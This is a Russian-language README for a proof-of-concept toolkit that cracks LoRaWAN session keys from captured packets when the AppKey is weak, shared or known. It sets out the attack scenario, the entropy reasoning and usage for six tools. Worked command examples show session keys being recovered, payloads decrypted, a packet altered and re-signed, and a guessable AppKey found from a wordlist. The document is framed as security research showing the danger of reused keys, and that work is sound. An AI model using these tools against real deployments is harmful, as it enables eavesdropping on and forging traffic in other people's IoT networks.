
LoRaWAN session cracker — PoC для эксплуатации слабых или общих ключей приложений
Создано Sipke Mellema из Applied Risk
Это Proof-of-Concept, демонстрирующий опасность использования одного и того же AppKey на нескольких узлах LoRaWAN.
Этот репозиторий содержит набор инструментов для взлома ключей сессий LoRaWAN из перехваченных пакетов. Сценарий атаки предполагает, что вы знаете AppKey, но пропустили handshake. Либо AppKey не является случайным и его можно угадать.
Handshake LoRa использует три значения для генерации ключей сессий:
AppNonce | NetID | DevNonce
AppNonce и NetID имеют размер 3 байта, а DevNonce — 2 байта. Часть NetID известна, поэтому остаётся 57 бит энтропии. А из-за ошибок реализации это значение может быть значительно ниже.
Просто выполните make. Обратите внимание, что вам может потребоваться указать путь к openssl 1.0.* в Makefile.
./loracrack -k <AppKey в hex> -p <raw_packet в hex>
Взламывает ключи сессий, если handshake (join-accept) пропущен, но AppKey известен. Взлом выполняется путём генерации ключей сессий и проверки MIC.
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
Необязательные аргументы:
-t потоки
-v подробный вывод (0, 1 или 2)
-m максимальный AppNonce
./loracrack_knownpt -k <AppKey в hex> -p <raw_packet в hex> -d <plain_text в hex>
Взламывает ключи сессий, если handshake (join-accept) пропущен, но AppKey и открытый текст известны. Взлом выполняется путём расшифровки FRMPayload и проверки открытого текста. Это быстрее, чем проверка MIC, поскольку CMAC использует больше операций AES.
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
Необязательные аргументы:
-t потоки
-v подробный вывод (0, 1 или 2)
-m максимальный AppNonce
./loracrack_decrypt -k <ключ расшифровки в hex> -p <raw_packet в hex>
Расшифровывает данные пакета, если ключ сессии известен.
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57
30.32
./loracrack_alterpacket -p <raw_packet в hex> -a <AppSKey в hex> -n <NwkSKey в hex> -c <Fctn> -d <новые данные в hex>
Изменяет пакет с новыми данными, сохраняя старые поля, такие как DeviceAddr.
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332
400267bd018005000142d9f78c521c78573b
./loracrack_genkeys -k <AppKey в hex> -j <join_packet в hex> -a <accept_packet в hex>
Генерирует ключи сессий при наличии handshake (пакетов join и accept) и AppKey.
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35
4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19
./loracrack_guessjoin -p <raw_packet в hex> -f <файл с AppKeys в hex>
Проверяет, используются ли предсказуемые AppKeys, путём проверки MIC на join-пакете. AppKeys берутся из файла с hex-кодированными AppKeys, по одному на строку.
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys
88888888888888888888888888888888